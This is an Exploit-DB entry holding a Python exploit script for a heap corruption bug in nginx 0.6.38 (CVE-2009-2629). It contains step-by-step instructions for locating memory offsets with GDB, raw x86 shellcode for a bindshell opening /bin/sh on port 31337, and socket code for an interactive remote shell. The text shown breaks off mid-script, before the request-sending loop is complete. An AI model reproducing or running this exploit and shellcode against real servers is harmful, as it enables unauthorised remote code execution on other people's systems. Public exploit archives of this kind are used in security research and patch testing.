Exploit-DB #14830
Description: Nginx 0.6.38 - Heap Corruption
Type: local
Platform: linux
Date: 2010-08-29
Author: Aaron Conole

Exploit:
#!/usr/bin/env python
#
# Exploit Title: nginx heap corruption
# Date: 08/26/2010
# Author: aaron conole <apconole@yahoo.com>
# Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz
# Version: <= 0.6.38, <= 0.7.61
# Tested on: BT4R1 running nginx 0.6.38 locally
# CVE: 2009-2629
#
# note: this was written and tested against BT4. This means it's an
#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV
#       also - only tested successfully against nginx 0.6.38
#              you'll definitely need to modify against other versions
#
# you'll need to know where the offset is going to land, and what the pad is
# from that point to when you've tained execution flow.
#
# A quick way to find out just for verification would be to launch nginx,
# attach GDB to the worker and target it with the exploit, setting the offset
# to 0, or some other arbitrary value. It should crash on a piece of code which
# resembles:
#   if (ctx->offset)
#
# At that point, merely dump the *r; capture the value for the data pointer
# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the
# hex pointer value). That should give you a good area to test with. You might
# want to use the range at that point and set the last octet to 00.
#
# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet
#       found a "magic" combination that would cause the state machine to do
#       what I want to make the bug trigger. Once I do, you can bet BUG will be
#       replaced.

#Basically, on BT4:
#- compile
#- edit the configuration to enable merge slashes (just insert a line above the sendpage / sendfile config option "merge_slashes off;")
#- Launch nginx, and attach GDB to the worker
#- Send the exploit at it with offset 0x11111111
#- When the worker gets a sigsegv, it will be on a line which looks like "if (ctx->offset)", at that point type "p *r"
#- In the r data structure will be a few different fields, one which is a buffer that contains "GET //../Aa0Aa1Aa2..". This buffer has an address (lets say 0x8c1d32f).
#- Save off this address, and detach from the worker. A new one will spawn (the "manager" process will keep it going).
#- At this point, rerun the exploit, setting the offset to 0x8c1d300 and adding the -b flag
#- In a minute or two, you should be given the shell.

import os
import sys
import socket
import select
import struct
import time
import urllib

REQUEST_METHOD='GET '

# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures)
NULLPTR='\x00\x00\x00\x00'

# NOTE - this shellcode was shamelessly stolen from the www
#        port 31337 bindshell for /bin/sh
SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'

# Why did I write this up this way? Because given enough time, I think I can
# find a proper set of state change which can give me the same effect (ie: ../
# appearing as the 3rd, 4th, and 5th characters) at a later date.
# That's all controlled by the complex uri parsing bit, though.
DOUBLE_SLASH='//../'

BUG=DOUBLE_SLASH

# taken from the metasploit pattern_create.rb
PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'

def connect_socket(host,port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect( (host, port) )
    except:
        return 0
    #sock.setblocking(0)
    return sock

def handle_connection(sock):
    while(1):
        r, w, e = select.select( [sock, sys.stdin],
                                 [],
                                 [sock, sys.stdin] )
        for s in r:
            if s == sys.stdin:
                buf = sys.stdin.readline()
                
                try:
                    if buf != '':
                        sock.send(buf)
                except:
                    print "Xon close?"
                    return 0
                
            elif s == sock:
                try:
                    buf = sock.recv(100)
                except:
                    print "Xon close?"
                    return 0
                if buf != '':
                    sys.stdout.write(buf)

def main(argv):
    argc = len(argv)

    if argc < 4:
        print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0])
        print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"
        print "[*] host = the remote host name"
        print "[*] port = the remote port"
        print "[*] ctx_addr is where the context address should begin at"
        print "[*] -b specifies a brute-force (which will start at ctx_addr"
        sys.exit(0)

    host = argv[1]
    port = int(argv[2])
    ctx_addr = int(argv[3],16)

    brute_flag = 0
    if(argc == 5):
        brute_flag = 1

    testing = 1

    print "[*] target: %s:%d" % (host, port)

    try:
        sd = urllib.urlopen("http://%s:%d" % (host, port))
        sd.close()
    except IOError, errmsg:
        print "[*] error: %s" % (errmsg)
        sys.exit(1)

    print "[*] sending exploit string to %s:%d" % (host, port)

    while(testing):
        
        CTX_ADDRESS = struct.pack('<L',ctx_addr)
        CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60)
        POOL_ADDRESS = struct.pack('<L',ctx_addr+56)
        DATA_ADDRESS = struct.pack('<L',ctx_addr+86)
        RANGE_ADDRESS = struct.pack('<L',ctx_addr+124)
        SHELL_ADDRESS = struct.pack('<L',ctx_addr+128)

        #P